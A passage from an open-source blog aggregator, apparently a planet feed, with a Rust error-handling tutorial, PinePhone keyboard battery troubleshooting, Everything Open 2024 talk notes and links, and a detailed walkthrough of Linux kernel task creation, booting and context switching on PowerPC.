    Now, if I want to be given a String (presumably because I plan on taking ownership of the value, say because I’m creating a new instance of a struct with it), I use impl Into<String> as my type:

    
    struct Foo {
        id: u32,
        desc: String,
    }
    
    impl Foo {
        fn new(id: u32, desc: impl Into<String>) -> Self {
            Self { id, desc: desc.into() }
        }
    }
    
    

    We have to call .into() on our desc argument, which makes the struct building a bit uglier, but I’d argue that’s a small price to pay for being able to call both Foo::new(1, "this is a thing") and Foo::new(2, format!("This is a thing named {name}")) without caring what sort of string is involved.

    Always Have an Error Enum

    Rust’s error handing mechanism (Results… everywhere), along with the quality-of-life sugar surrounding it (like the short-circuit operator, ?), is a delightfully ergonomic approach to error handling. To make life easy for mediocre programmers, I recommend starting every project with an Error enum, that derives thiserror::Error, and using that in every method and function that returns a Result.

    How you structure your Error type from there is less cut-and-dried, but typically I’ll create a separate enum variant for each type of error I want to have a different description. With thiserror, it’s easy to then attach those descriptions:

    
    #[derive(Clone, Debug, thiserror::Error)]
    enum Error {
        #[error("{0} caught fire")]
        Combustion(String),
        #[error("{0} exploded")]
        Explosion(String),
    }
    
    

    I also implement functions to create each error variant, because that allows me to do the Into<String> trick, and can sometimes come in handy when creating errors from other places with .map_err() (more on that later). For example, the impl for the above Error would probably be:

    
    impl Error {
        fn combustion(desc: impl Into<String>) -> Self {
            Self::Combustion(desc.into())
        }
    
        fn explosion(desc: impl Into<String>) -> Self {
            Self::Explosion(desc.into())
        }
    }
    
    

    It’s a tedious bit of boilerplate, and you can use the thiserror-ext crate’s thiserror_ext::Construct derive macro to do the hard work for you, if you like. It, too, knows all about the Into<String> trick.

    Banish map_err (well, mostly)

    The newer mediocre programmer, who is just dipping their toe in the water of Rust, might write file handling code that looks like this:

    
    fn read_u32_from_file(name: impl AsRef<str>) -> Result<u32, Error> {
        let mut f = File::open(name.as_ref())
            .map_err(|e| Error::FileOpenError(name.as_ref().to_string(), e))?;
    
        let mut buf = vec![0u8; 30];
        f.read(&mut buf)
            .map_err(|e| Error::ReadError(e))?;
    
        String::from_utf8(buf)
            .map_err(|e| Error::EncodingError(e))?
            .parse::<u32>()
            .map_err(|e| Error::ParseError(e))
    }
    
    

    This works great (or it probably does, I haven’t actually tested it), but there are a lot of .map_err() calls in there. They take up over half the function, in fact. With the power of the From trait and the magic of the ? operator, we can make this a lot tidier.

    First off, assume we’ve written boilerplate error creation functions (or used thiserror_ext::Construct to do it for us)). That allows us to simplify the file handling portion of the function a bit:

    
    fn read_u32_from_file(name: impl AsRef<str>) -> Result<u32, Error> {
        let mut f = File::open(name.as_ref())
            // We've dropped the `.to_string()` out of here...
            .map_err(|e| Error::file_open_error(name.as_ref(), e))?;
    
        let mut buf = vec![0u8; 30];
        f.read(&mut buf)
            // ... and the explicit parameter passing out of here
            .map_err(Error::read_error)?;
    
        // ...
    
    

    If that latter .map_err() call looks weird, without the |e| and such, it’s passing a function-as-closure, which just saves on a few characters typing. Just because we’re mediocre, doesn’t mean we’re not also lazy.

    Next, if we implement the From trait for the other two errors, we can make the string-handling lines significantly cleaner. First, the trait impl:

    
    impl From<std::string::FromUtf8Error> for Error {
        fn from(e: std::string::FromUtf8Error) -> Self {
            Self::EncodingError(e)
        }
    }
    
    impl From<std::num::ParseIntError> for Error {
        fn from(e: std::num::ParseIntError) -> Self {
            Self::ParseError(e)
        }
    }
    
    

    (Again, this is boilerplate that can be autogenerated, this time by adding a #[from] tag to the variants you want a From impl on, and thiserror will take care of it for you)

    In any event, no matter how you get the From impls, once you have them, the string-handling code becomes practically error-handling-free:

    
        Ok(
            String::from_utf8(buf)?
                .parse::<u32>()?
        )
    
    

    The ? operator will automatically convert the error from the types returned from each method into the return error type, using From. The only tiny downside to this is that the ? at the end strips the Result, and so we’ve got to wrap the returned value in Ok() to turn it back into a Result for returning. But I think that’s a small price to pay for the removal of those .map_err() calls.

    In many cases, my coding process involves just putting a ? after every call that returns a Result, and adding a new Error variant whenever the compiler complains about not being able to convert some new error type. It’s practically zero effort – outstanding outcome for the mediocre programmer.

    Just Because You’re Mediocre, Doesn’t Mean You Can’t Get Better

    To finish off, I’d like to point out that mediocrity doesn’t imply shoddy work, nor does it mean that you shouldn’t keep learning and improving your craft. One book that I’ve recently found extremely helpful is Effective Rust, by David Drysdale. The author has very kindly put it up to read online, but buying a (paper or ebook) copy would no doubt be appreciated.

    The thing about this book, for me, is that it is very readable, even by us mediocre programmers. The sections are written in a way that really “clicked” with me. Some aspects of Rust that I’d had trouble understanding for a long time – such as lifetimes and the borrow checker, and particularly lifetime elision – actually made sense after I’d read the appropriate sections.

    Finally, a Quick Beg

    I’m currently subsisting on the kindness of strangers, so if you found something useful (or entertaining) in this post, why not buy me a refreshing beverage? It helps to know that people like what I’m doing, and helps keep me from having to sell my soul to a private equity firm.

    Saturday, 27 April 2024

    FLOSS Down Under - online free software meetingsApril 2024 Meeting: EO2024, Maemo Leste and more

    The April 2024 meeting is the first meeting after Everything Open 2024 and the discussions are primarily around talks and lectures people found interesting during the conference, including the n3n VPN and the challenges of running personal email server. At the start of the meeting Yifei Zhan demonstrated a development build of Maemo Leste, an active Maemo-like operating system running on a PinePhone Pro.

    Other topics discussed including modern network protocol ossification, SIP and possible free and open source VoLTE implementation.

    Tuesday, 23 April 2024

    Yifei ZhanTroubles with the PinePhone Keyboard and a disappointing mitigation

    The melting plastic and the smoke #

    The PinePhone keyboard contains a battery, which will be used to charge the PinePhone when the keyboard is attached. Althrough there are existing warnings on the pine64 wiki which sums up to ‘don’t charge or connect anything to your pinephone’s type C interface when the keyboard is attached’, my two pinephone keyboards still managed to fry themselves, with one releasing stinky magic smoke and the other melting the plastic around the pogo pins on the pinephone backplate.

    This all happened while the pinephone’s type C interface being physically block when attached to the keyboard. In the first case, the keyboard’s controller PCB blew up when I tried to charge it, in the latter case the keyboard somehow overheated and melted the plastic near the pogo interface on the phone side.

    Pine64 provided me a free replacement keyboard after multiple emails back and forth, but according to Pine64 there will be no more free replacement for me in future, and there is no guarantee that this will not happen to my replacement keyboard.

    The cost for replacing all the fried parts with spare parts from the Pine64 store is about 40 USD (pogo pins + backplate + keyboard PCB), and considering this problem is likely to happen again, I don’t think purchasing those parts is a wise decision.

    Mitigation #

    Both the melting plastic and the magic smoke originated from the fact that charges are constantly shuffled around when the keyboard is attached to the pinephone, and since the keyboard can function independently from the battery, we can disconnect and remove the battery from the keyboard case to make sure it will not blow up again. After such precedure the keyboard will keep functioning althrough the keyboard-attached pinephone might flip over much more easily due to the lightened keyboard base. Be aware that the keyboard isn’t designed to be taken apart, and doing so will likely result in scratches on the case. As for me, I’d much rather have a keyboard case without builtin battery than have something that can overheat or blow up.

    Disable the ip5xxx kernel module #

    To prevent the kernel module from flooding the dmesg and reporting bogus battery level after the battery removal, blacklist the ip5xxx_power module:

    # echo blacklist ip5xxx_power > /etc/modprobe.d/blacklist.conf
    

    Saturday, 20 April 2024

    Yifei ZhanEverything Open 2024 Quick Notes :: Day 2 and 3

    I didn’t take as much notes on day 2 and 3, so I merged them into a single article.


    Wednesday, 17 Apr 2024 #

    Keynote: How Adversaries Use AI #

    • Adversaries:

      • Nation States
      • Ecrime
      • Hactivism
        • Not always clearly separated
    • LLM can help eliminate common language mistakes, perform better social enginerring

    • Many adversaries are trying to integrate LLMs into their workflow, with varying results

    • Time frame from initial foothold to lateral movements is getting shorter, due to better toolings?

    GoLang #

    • IDE setup / difference with C and other common language
    • Compile down to single binary for many arch/platforms

    Rootless networking: From possible to practical #

    • libslirp is too slow
    • passt & pasta
      • much faster than libslirp
      • same binary, different command
      • translate between layer 2 network interface and native layer 4 sockets on a host
      • unprivileged, no capability needed, good fit for container & VM
      • https://passt.top/passt/about/

    Running a Particle Accelerator on Open Source #


    Thursday, 18 Apr 2024 #

    Keynote: Intelligent Interfaces: Challenges and Opportunities #

    • Another great talk, we don’t get HID talk often unfortunately
    • Sensing: what can we sense more?
      • Eye tracking: figure out when the user is not paying attention and then when the user look back, show a diff/changelog
      • Change Blindness, proximity-based experience: change how detailed the UI is based on proximity
      • RadarCat, Radar and Categorization: better privacy than having camera everywhere
        • obtain infomation via wave reflection and absorption (can this be abused…?)
        • use ML trainning for better accuracy
      • MicroCam and SpeCam: placement based action: detect which surface is under/over the device

    FOSS: From Building Websites to Changing Society #

    • Echo chamber: FOSS run on different social/economic structure than commercial proprietary software, it takes effort to convince people

    Adventures in fuzzing the kernel on Power #

    • porting syzcaller to run on Power

    • general fuzzinng engines

      • universal eginee: AFL++
      • domain specific fuzzer: syzkaller
    • Unsupervised: no human input required

    • Coveraged-guided: fuzz and measures which codepath is fuzzed

    • Things to fuzz: syscalls/dxrivers/fs/ebpf/kvm/network stacks…

      • KVM: guest-host / host-guest
    • Simple kernel fuzzers existed est. 1991

      • but not coverage based
    • Hosted version on Google Cloud: https://syzkaller.appspot.com/upstream

    • Sanitisers: print errors on memory corruption/UB/concurrency problems etc

    • KMSAN isn’t on Power yet

    • Hardware:

    • New architecture enablement

      • Parse arch-specific details of kernel error
      • Enable kcov (but not everywhere)
    • Stack traces are printed differently across archs

      • use regex, 2.5KLoC ;)
    • instruction fuzzing

      • generate and mutate PPC64 PowerISA machine code
      • More coverage for KVM related pathways
      • Only for x86 and power at the moment
    • QEMU/KVM on bare metal Open Power systems

    • Bug found:

      • KVM guests can crash/hang the host, race conditions?
      • Bugs in KUAP
    • PowerVM

      • Type 1 hypervisor
      • Runs Linux/AIX/IBM I VMs
      • Need a separate machine as management console
    • PowerVC

    Lightning Talks #

    Tuesday, 16 April 2024

    Yifei ZhanEverything Open 2024 Quick Notes :: Day 1

    sched_ext - Write your own Linux thread scheduler in BPF #

    • BPF made creating new scheduler simpler

      • with strong safety guarantee to not break the system, the side effects of bad scheduler are confined.
      • run a binary to enable your scheduler, stop the binary to revert to default
    • Scheduling problem is now more complicated due to increasing complexity of workload/CPU design

    • BPF provides reliable access to critical data structures inside the kernel

    Exploring mobile linux security with PinePhone Pro: OP-TEE sec enclave, Virtualization and beyond #

    • This is my talk ;)
    • See the readings page for slides/demos and more.

    Presenting n3n - A simple Peer to Peer VPN #

    • Forked from n2n to avoid CLA

      • Protocol level compatibility with n2n is maintained
    • Peer-to-peer VPN at network layer, acting like a distributed virtual switch

      • Layer 2 over Layer 3
      • Only route packets through a server/supernode when required, p2p by default
      • Better latency due to being p2p
    • NAT piecing

    • Written in C, should have good cross-platform supports (more testing wanted on *BSD)

      • Relatively small codebase for a VPN
    • TunTap interface support is expected from the OS side, shouldn’t be a problem for common Unix-likes

      • Modern macOS is dropping support for TunTap, need to use NetworkExtension?
    • Packaging and distro submission are still WIP

      • Framework for a debian package exists but not in an upstreamable shape
      • OpenBSD?
    • Future roadmap

      • n3n over IPv6
      • Code cleanup
      • Multiple network driver support (e.g. something other than TunTap)
      • Better NAR piecing
      • Mobile support?
    • Useful for

      • LAN gaming with old/modern systems
      • Remote access
    • Simpler than wireguard/openvpn but offers OK security (not for security-critical apps?)

    • Easier to configure, use INI style config files

    Running your own Mailserver #

    • 90% of all incoming mails are low-effort spams.
    • Setup DMARC/SPF records

    Lions OS #

    • seL4 is bad at usability, Lions OS intends to solve this

    • Still in early stage of development

    • Composable components for build custom OS for a single task

      • Runs on seL4 Microkernel
      • For things like IoT, embedded, cars etc…
    • Focus on simplicity

    • 0.1.0 just released, still in its early stage

    • high performance

    • Only for Arm64/aarch64 now, riscv64 in future?

    • Device Driver Model

    • Multi Language Support

    • A reference system called Kitty exists

      • A Linux running inside VMM is used for framebuffer, but any OS should do

    Friday, 12 April 2024

    Yifei ZhanLinks and Further Readings for My Everything Open 2024 Talk

    Here you can find a list of links related to my topic which I find useful or just interesting.

    Meta #

    Info page https://2024.everythingopen.au/schedule/presentation/24/

    Slides EO2024.Slides.exploring.mobile.linux.security.odp

    Recording XXX to be processed

    VerityMobile GitHub :: ZhanYF/veritymobile

    Demo #

    Access Measurements from Linux Userland

    Sign in to GitLab with fTPM-backed FIDO token

    fTPM-backed SSH Identity

    Disposable Web Session

    OP-TEE #

    Docs Index and high level introduction #

    https://optee.readthedocs.io/en/latest/general/about.html

    Secure Storage #

    https://optee.readthedocs.io/en/latest/architecture/secure_storage.html

    GlobalPlatform API #

    https://optee.readthedocs.io/en/latest/architecture/globalplatform_api.html#globalplatform-api

    Talks and Demos about OP-TEE #

    https://optee.readthedocs.io/en/latest/general/presentations.html

    Other TEEs #

    Android Trusty #

    https://source.android.com/docs/security/features/trusty

    Apple Secure Enclave #

    https://support.apple.com/en-sg/guide/security/sec59b0b31ff/web

    TPM and Desktop/Mobile Linux #

    What Can You Do with a TPM by Michael Peters #

    This also covers Measured Boot and Secure Boot

    https://next.redhat.com/2021/05/13/what-can-you-do-with-a-tpm/

    A WebAuthn/U2F token protected by a TPM (Go/Linux) by Peter Sanford #

    https://github.com/psanford/tpm-fido

    Setup TPM-backed SSH identity #

    https://www.ledger.com/blog/ssh-with-tpm

    Secure Boot on embedded devices #

    Secure boot in embedded Linux systems by Thomas Perrot #

    https://bootlin.com/pub/conferences/2021/lee/perrot-secure-boot/perrot-secure-boot.pdf

    Shadow-box #

    Shadow-box for ARM using OP-TEE #

    Highlevel description #

    https://www.blackhat.com/asia-18/briefings.html#shadow-box-v2-the-practical-and-omnipotent-sandbox-for-arm

    Source code and build instructions #

    https://github.com/kkamagui/shadow-box-for-arm https://github.com/kkamagui/manifest

    Older version of Shadow-box for x86 #

    https://github.com/kkamagui/shadow-box-for-x86

    RK3399 #

    Enabling Secure Boot on RockChip SoCs by Artur Kowalski #

    https://blog.3mdeb.com/2021/2021-12-03-rockchip-secure-boot/

    RPMB #

    RPMB, a secret place inside the eMMC by Sergio Prado #

    https://sergioprado.blog/rpmb-a-secret-place-inside-the-emmc/

    Virtualization #

    Firecracker #

    https://github.com/firecracker-microvm/firecracker

    firectl(1) #

    https://github.com/firecracker-microvm/firectl

    Run general purpose arm64 VMs with KVM on RK3399 #

    https://segments.zhan.science/posts/kvm_on_pinehone_pro/

    Wednesday, 20 March 2024

    sthbrx - a POWER technical blogLifecycle of a kernel task

    Introduction

    CPU cores are limited in number. Right now my computer tells me it's running around 500 processes, and I definitely do not have that many cores. The operating system's ability to virtualise work as independent 'executable units' and distribute them across the limited CPU pool is one of the foundations of modern computing.

    The Linux kernel calls these virtual execution units tasks1. Each task encapsulates all the information the kernel needs to swap it in and out of running on a CPU core. This includes register state, memory mappings, open files, and any other resource that needs to be tied to a particular task. Nearly every work item in the kernel, including kernel background jobs and userspace processes, is handled by this unified task concept. The kernel uses a scheduler to determine when and where to run tasks according to some parameters, such as maximising throughput, minimising latency, or whatever other characteristics the user desires.

    In this article, we'll dive into the lifecycle of a task in the kernel. This is a PowerPC blog, so any architecture specific (often shortened to 'arch') references are referring to PowerPC. To make the most out of this you should also have a copy of the kernel source open alongside you, to get a sense of what else is happening in the locations we discuss below. This article hyper-focuses on specific details of setting up tasks, leaving out a lot of possibly related content. Call stacks are provided to help orient yourself in many cases.

    Booting

    The kernel starts up with no concept of tasks, it just runs from the location the bootloader started it (the __start function for PowerPC). The first idea of a task takes root in early_setup() where we initialise the PACA (I asked, but what this stands for is unclear). The PACA is used to hold a lot of core per-cpu information, such as the CPU index (for generic per-cpu variables) and a pointer to the active task.

    __start()  // ASM implementation, defined in head_64.S
      __start_initialization_multiplatform()
        __after_prom_start()
          start_here_multiplatform()
            early_setup()   // switched to C here, defined in setup_64.c
              initialise_paca()
                new_paca->__current = &init_task;
    

    We use the PACA to (among other things) hold a reference to the active task. The task we start with is the special init_task. To avoid ambiguity with the userspace init task we see later, I'll refer to init_task as the boot task from here onwards. This boot task is a statically defined instance of a task_struct that is the root of all future tasks. Its resources are likewise statically defined, typically named following the pattern init_*. We aren't taking advantage of the context switching capability of tasks this early in boot, we just need to look like we're a task for any initialisation code that cares. For now we continue to work as a single CPU core with a single task.

    We continue on and reach start_kernel(), the generic entry point of the kernel once any arch specific bootstrapping is sufficiently complete. One of the first things we call here is setup_arch(), which continues any initialisation that still needs to occur. This is where we call smp_setup_pacas() to allocate a PACA for each CPU; these all get the boot task as well (all referencing the same init_task structure, not copies of it). Eventually they will be given their own independent tasks, but during most of boot we don't do anything on them so it doesn't matter for now.

    The next point of interest back in start_kernel() is fork_init(). Here we create a task_struct allocator to serve any task creation requests. We also limit the number of tasks here, dynamically picking the limit based on the available memory, page size, and a fixed upper bound.

    void __init fork_init(void) {
        // ...
        /* create a slab on which task_structs can be allocated */
        task_struct_whitelist(&useroffset, &usersize);
        task_struct_cachep = kmem_cache_create_usercopy("task_struct",
                arch_task_struct_size, align,
                SLAB_PANIC|SLAB_ACCOUNT,
                useroffset, usersize, NULL);
        // ...
    }
    

    At the end of start_kernel() we reach rest_init() (as in 'do the rest of the init'). In here we create our first two dynamically allocated tasks: the init task (not to be confused with init_task, which we are calling the boot task), and the kthreadd task (with the double 'd'). The init task is (eventually) the userspace init process. We create it first to get the PID value 1, which is relied on by a number of things in the kernel and in userspace2. The kthreadd task provides an asynchronous creation mechanism for kthreads: callers append their thread parameters to a dedicated list, and the kthreadd task spawns any entries on the list whenever it gets scheduled. Creating these tasks automatically puts them on the scheduler run queue, and they might even start automatically with preemption.

    // init/main.c
    
    noinline void __ref __noreturn rest_init(void)
    {
        struct task_struct *tsk;
        int pid;
    
        rcu_scheduler_starting();
        /*
         * We need to spawn init first so that it obtains pid 1, however
         * the init task will end up wanting to create kthreads, which, if
         * we schedule it before we create kthreadd, will OOPS.
         */
        pid = user_mode_thread(kernel_init, NULL, CLONE_FS);
        /*
         * Pin init on the boot CPU. Task migration is not properly working
         * until sched_init_smp() has been run. It will set the allowed
         * CPUs for init to the non isolated CPUs.
         */
        rcu_read_lock();
        tsk = find_task_by_pid_ns(pid, &init_pid_ns);
        tsk->flags |= PF_NO_SETAFFINITY;
        set_cpus_allowed_ptr(tsk, cpumask_of(smp_processor_id()));
        rcu_read_unlock();
    
        numa_default_policy();
        pid = kernel_thread(kthreadd, NULL, NULL, CLONE_FS | CLONE_FILES);
        rcu_read_lock();
        kthreadd_task = find_task_by_pid_ns(pid, &init_pid_ns);
        rcu_read_unlock();
    
        /*
         * Enable might_sleep() and smp_processor_id() checks.
         * They cannot be enabled earlier because with CONFIG_PREEMPTION=y
         * kernel_thread() would trigger might_sleep() splats. With
         * CONFIG_PREEMPT_VOLUNTARY=y the init task might have scheduled
         * already, but it's stuck on the kthreadd_done completion.
         */
        system_state = SYSTEM_SCHEDULING;
    
        complete(&kthreadd_done);
    
        /*
         * The boot idle thread must execute schedule()
         * at least once to get things moving:
         */
        schedule_preempt_disabled();
        /* Call into cpu_idle with preempt disabled */
        cpu_startup_entry(CPUHP_ONLINE);
    }
    

    After this, the boot task calls cpu_startup_entry(), which transforms it into the idle task for the boot CPU and enters the idle loop. We're now almost fully task driven, and our journey picks back up inside of the init task.

    Bonus tip: when looking at the kernel boot console, you can tell what print actions are performed by the boot task vs the init task. The init_task has PID 0, so lines start with T0. The init task has PID 1, so appears as T1.

    [    0.039772][    T0] printk: legacy console [hvc0] enabled
    ...
    [   28.272167][    T1] Run /init as init process
    

    The init task

    When we created the init task, we set the entry point to be the kernel_init() function. Execution simply begins from here3 once it gets woken up for the first time. The very first thing we do is wait4 for the kthreadd task to be created: if we were to try and create a kthread before this, when the kthread creation mechanism tries to wake up the kthreadd task it would be using an uninitialised pointer, causing an oops. To prevent this, the init task waits on a completion object that the boot task marks completed after creating kthreadd. We could technically avoid this synchronization altogether just by creating kthreadd first, but then the init task wouldn't have PID 1.

    The rest of the init task wraps up the initialisation stage as a whole. Mostly it moves the system into the 'running' state after freeing any memory marked as for initialisation only (set by __init annotations). Once fully initialised and running, the init task attempts to execute the userspace init program.

        if (ramdisk_execute_command) {
            ret = run_init_process(ramdisk_execute_command);
            if (!ret)
                return 0;
            pr_err("Failed to execute %s (error %d)\n",
                   ramdisk_execute_command, ret);
        }
    
        if (execute_command) {
            ret = run_init_process(execute_command);
            if (!ret)
                return 0;
            panic("Requested init %s failed (error %d).",
                  execute_command, ret);
        }
    
        if (CONFIG_DEFAULT_INIT[0] != '\0') {
            ret = run_init_process(CONFIG_DEFAULT_INIT);
            if (ret)
                pr_err("Default init %s failed (error %d)\n",
                       CONFIG_DEFAULT_INIT, ret);
            else
                return 0;
        }
    
        if (!try_to_run_init_process("/sbin/init") ||
            !try_to_run_init_process("/etc/init") ||
            !try_to_run_init_process("/bin/init") ||
            !try_to_run_init_process("/bin/sh"))
            return 0;
    
        panic("No working init found.  Try passing init= option to kernel. "
              "See Linux Documentation/admin-guide/init.rst for guidance.");
    

    What file the init process is loaded from is determined by a combination of the system's filesystem, kernel boot arguments, and some default fallbacks. The locations it will attempt, in order, are:

    1. Ramdisk file set by rdinit= boot command line parameter, with default path /init. An initcall run earlier searches the boot arguments for rdinit and initialises ramdisk_execute_command with it. If the ramdisk does not contain the requested file, then the kernel will attempt to automatically mount the root device and use it for the subsequent checks.
    2. File set by init= boot command line parameter. Like with rdinit, the execute_command variable is initialised by an early initcall looking for init in the boot arguments.
    3. /sbin/init
    4. /etc/init
    5. /bin/init
    6. /bin/sh

    Should none of these work, the kernel just panics. Which seems fair.

    Aside: secondary processors

    Until now we've focused on the boot CPU. While the utility of a task still applies to a uniprocessor system (perhaps even more so than one with hardware parallelism), a nice benefit of encapsulating all the execution state into a data structure is the ability to load the task onto any other compatible processor on the system. But before we can start scheduling on other CPU cores, we need to bring them online and initialise them to a state ready for the scheduler.

    On the pSeries platform, the secondary CPUs are held by the firmware until explicitly released by the guest. Early in boot, the boot CPU (not task! We don't have tasks yet) will iterate the list of held secondary processors and release them one by one to the __secondary_hold function. As each starts executing __secondary_hold, it writes a value to the __secondary_hold_acknowledge variable that the boot CPU is watching. The secondary processor then immediately starts spinning on __secondary_hold_spinloop, waiting for it to become non-zero, while the boot CPU moves on to the the next processor.

    // Boot CPU releasing the coprocessors from firmware
    
    __start()
      __start_initialization_multiplatform()
        __boot_from_prom()
          prom_init()    // switched to C here
            prom_hold_cpus()
              // secondary_hold is alias for __secondary_hold assembly function
              call_prom("start-cpu", ..., secondary_hold, ...);  // on each coprocessor
    

    Once every coprocessor is confirmed to be spinning on __secondary_hold_spinloop, the boot CPU continues on with its boot sequence. Once we reach setup_arch() as above, the boot task invokes smp_release_cpus() early in start_kernel(), which writes the desired entry point address of the coprocessors to __secondary_hold_spinloop. All the spinning coprocessors now see this value, and jump to it. This function, generic_secondary_smp_init(), will set up the coprocessor's PACA value, perform some machine specific initialisation if cur_cpu_spec->cpu_restore is set,5 atomically decrement a spinning_secondaries variable, and start spinning once again until further notice. This time it is waiting on the PACA field cpu_start, so we can start coprocessors individually.

    We leave the coprocessors here for a while, until the init task calls kernel_init_freeable(). This function is used for any initialisation required after kthreads are running, but before all the __init sections are dropped. The setup relevant to coprocessors is the call to smp_init(). Here we fork the current task (the init task) once for each coprocessor with idle_threads_init(). We then call bringup_nonboot_cpus() to make each coprocessor start scheduling.

    The exact code paths here are both deep and indirect, so here's the interesting part of the call tree for the pSeries platform to help guide you through the code.

    // In the init task
    
    smp_init()
      idle_threads_init()     // create idle task for each coprocessor
      bringup_nonboot_cpus()  // make each coprocessor enter the idle loop
        cpuhp_bringup_mask()
          cpu_up()
            _cpu_up()
              cpuhp_up_callbacks()  // invokes the CPUHP_BRINGUP_CPU .startup.single function
                bringup_cpu()
                  __cpu_up()
                    cpu_idle_thread_init()  // sets CPU's task in PACA to its idle task
                    smp_ops->prepare_cpu()  // on pSeries inits XIVE if in use
                    smp_ops->kick_cpu()     // indirect call to smp_pSeries_kick_cpu()
                      smp_pSeries_kick_cpu()
                        paca_ptrs[nr]->cpu_start = 1  // the coprocessor was spinning on this value
    

    Interestingly, the entry point declared when cloning the init task for the coprocessors is never used. This is because the coprocessors never get woken up from the hand-crafted init state the way new tasks normally would. Instead they are already executing a code path, and so when they next yield they will just clobber the entry point and other registers with their actually running task state.

    Transitioning the init task to userspace

    The last remaining job of the kernel side of the init task is to actually load in and execute the selected userspace program. It's not like we can just call the userspace entry point though: we need to be a little creative here.

    As alluded to above, when we create tasks with clone_thread(), it doesn't set the provided entry point directly: it instead sets a small shim that is actually used when the new task eventually gets woken up. The particular shim it uses is determined by whether the task is a kthread or not.

    Both kinds of shim expect the requested entry point to be passed via a specific non-volatile register and, in the case of a kthread, basically just invokes it after some minor bookkeeping. A kthread should never return directly, so it traps if this happens.

    _GLOBAL(start_kernel_thread)
        bl  CFUNC(schedule_tail)
        mtctr   r14
        mr  r3,r15
    #ifdef CONFIG_PPC64_ELF_ABI_V2
        mr  r12,r14
    #endif
        bctrl
        /*
         * This must not return. We actually want to BUG here, not WARN,
         * because BUG will exit the process which is what the kernel thread
         * should have done, which may give some hope of continuing.
         */
    100:    trap
        EMIT_BUG_ENTRY 100b,__FILE__,__LINE__,0
    

    But the init task isn't a kthread. We passed a kernel entrypoint to copy_thread() but did not set the kthread flag, so copy_thread() inferred that this means the task will eventually run in userspace. This makes it use the ret_from_kernel_user_thread() shim.

    _GLOBAL(ret_from_kernel_user_thread)
        bl  CFUNC(schedule_tail)
        mtctr   r14
        mr  r3,r15
    #ifdef CONFIG_PPC64_ELF_ABI_V2
        mr  r12,r14
    #endif
        bctrl
        li  r3,0
        /*
         * It does not matter whether this returns via the scv or sc path
         * because it returns as execve() and therefore has no calling ABI
         * (i.e., it sets registers according to the exec()ed entry point).
         */
        b   .Lsyscall_exit
    

    We start off identically to a kthread, except here we expect the task to return. This is the key: when the init task wants to transition to userspace, it sets up the stack frame as if we were serving a syscall. It then returns, which runs the syscall exit procedure that culminates in an rfid to userspace.

    The actual setting up of the syscall frame is handled by the (try_)run_init_process() function. The interesting call path goes like

    run_init_process()
      kernel_execve()
        bprm_execve()
          exec_binprm()
            search_binary_handler()
              list_for_each_entry(fmt, &formats, lh)
                retval = fmt->load_binary(bprm);
    

    The outer few calls mainly handle checking prerequisites and bookkeeping. The exec_binrpm() call also handles shebang redirection, allowing up to 5 levels of interpreter. At each level it invokes search_binary_handler(), which attempts to find a handler for the program file's format. Contrary to the name, the searcher will also immediately try to load the file if it finds an appropriate handler. It's this call to load_binary (dispatched to whatever handler was found) that sets up our userspace execution context, including the syscall return state.

    All that's left to do here is return 0 all the way up the chain, which you'll see results in the init task returning to the shim that performs the syscall return sequence to userspace. The init task is now fully userspace.

    Creating other tasks

    It feels like we've spent a lot of time discussing the init task. What about all the other tasks?

    It turns out that the creation of the init task is very similar to any other task. All tasks are clones of the task that created them (except the statically defined init_task). Note 'clone' is being used in a loose sense here: it's not an exact image of the parent. There's a configuration parameter that determines which components are shared, and which are made into independent copies. The implementation may also just decide to change some things that don't make sense to duplicate, such as the task ID to distinguish it from the parent.

    As we saw earlier, kthreads are created indirectly through a global list and kthreadd daemon task that does the actual cloning. This has two benefits: allowing asynchronous task creation from atomic contexts, and ensuring all kthreads inherit a 'clean' task context, instead of whatever was active at the time.

    Userspace task creation, beyond the init task, is driven by the userspace process invoking the fork() and clone() family of syscalls. Both of these are light wrappers over the kernel_clone() function, which we used earlier for the creation of the init task and kthreadd.

    When a task runs a syscall in the exec() family, it doesn't create a new task. It instead hits the same code path as when we tried to run the userspace init program, where it loads in the context as defined by the program file into the current task and returns from the syscall (legitimately this time).

    Context switching

    The last piece of the puzzle (as far as this article will look at!) is how tasks are switched in and out, and some of the rules around when it can and can't happen. Once the init and kthreadd tasks are created, we call cpu_startup_entry(CPUHP_ONLINE). Any coprocessors have also been released to call this by now too. Their tasks are repurposed to 'idle tasks', which serve to run when no other tasks are available to run. They will spin on a check for pending work, entering an idle state each loop until they see pending tasks to run. They then call __schedule() in a loop (also conditional on pending tasks existing), and then return back to the idle loop once everything in the moment is handled.

    The __schedule() function is the main guts of the scheduler, which until now has seemed like some nebulous controller that's governing when and where our tasks run. In reality it isn't one isolated part of the system, but a function that a task calls when it decides to yield to any other waiting tasks. It starts by deciding which pending task should run (a whole can of worms right there), and then executing context_switch() if it changes from the current task. context_switch() is the point where the current task starts to change. Specifically, you can trace the changing of current (i.e., the PACA being updated with a new task pointer) to the following path

    context_switch()
      switch_to()
        __switch_to()
          _switch()
            do_switch_64
              std   r6,PACACURRENT(r13)
    

    One interesting consequence of tasks calling context_switch() is that the previous task is 'suspended'6 right where it saves its registers and puts in the new task's values. When it is woken up again at some point in the future it resumes right where it left off. So when you are reading the __switch_to() implementation, you are actually looking at two different tasks in the same function.

    But it gets even weirder: while tasks that put themselves to sleep here wake up inside of _switch(), new tasks being woken up for the first time start at a completely different location! So not only is the task changing, the _switch() call might not even return back to __switch_to()!

    Conclusion

    And there you have it, everything[citation needed] you could ever need to know when getting started with tasks. Will you need to know this specifically? Hard to say. But hopefully it at least provides some useful pointers for understanding the execution model of the kernel.

    Questions

    The following are some questions you might have (read: I had).

    Do we change the task struct when serving a syscall?

    No, the task struct stays the same. The task struct declares it represents a userspace task, but it stays as the active task when serving syscalls or similar actions on behalf of its userspace execution.

    Thanks to address space quadrants we don't even need to change the active memory mapping: upon entry to the kernel we automatically start using the PID 0 mapping.

    Where does a task get allocated a PID?

    Software PIDs are allocated when spawning a new process. However, if the process shares memory mappings with another (such as threads can), it may not be allocated a new hardware PID. Referring to the PID used for virtual memory translations, the hardware PID is actually a property of the memory mapping struct (mm_struct). You can find a hardware PID being allocated when a new mm_struct is created, which may or may not occur depending on the task clone parameters.

    How can the fork and exec syscalls be hooked into for arch specific handling?

    Fork (and clone) will always invoke copy_thread(). The exec call will invoke start_thread() when loading a binary file. Any other kind of file (script, binfmt-misc) will eventually require some form of binary file to load/bootstrap it, so start_thread() should work for your purposes. You can also use arch_setup_new_exec() for a cleaner hook into exec.

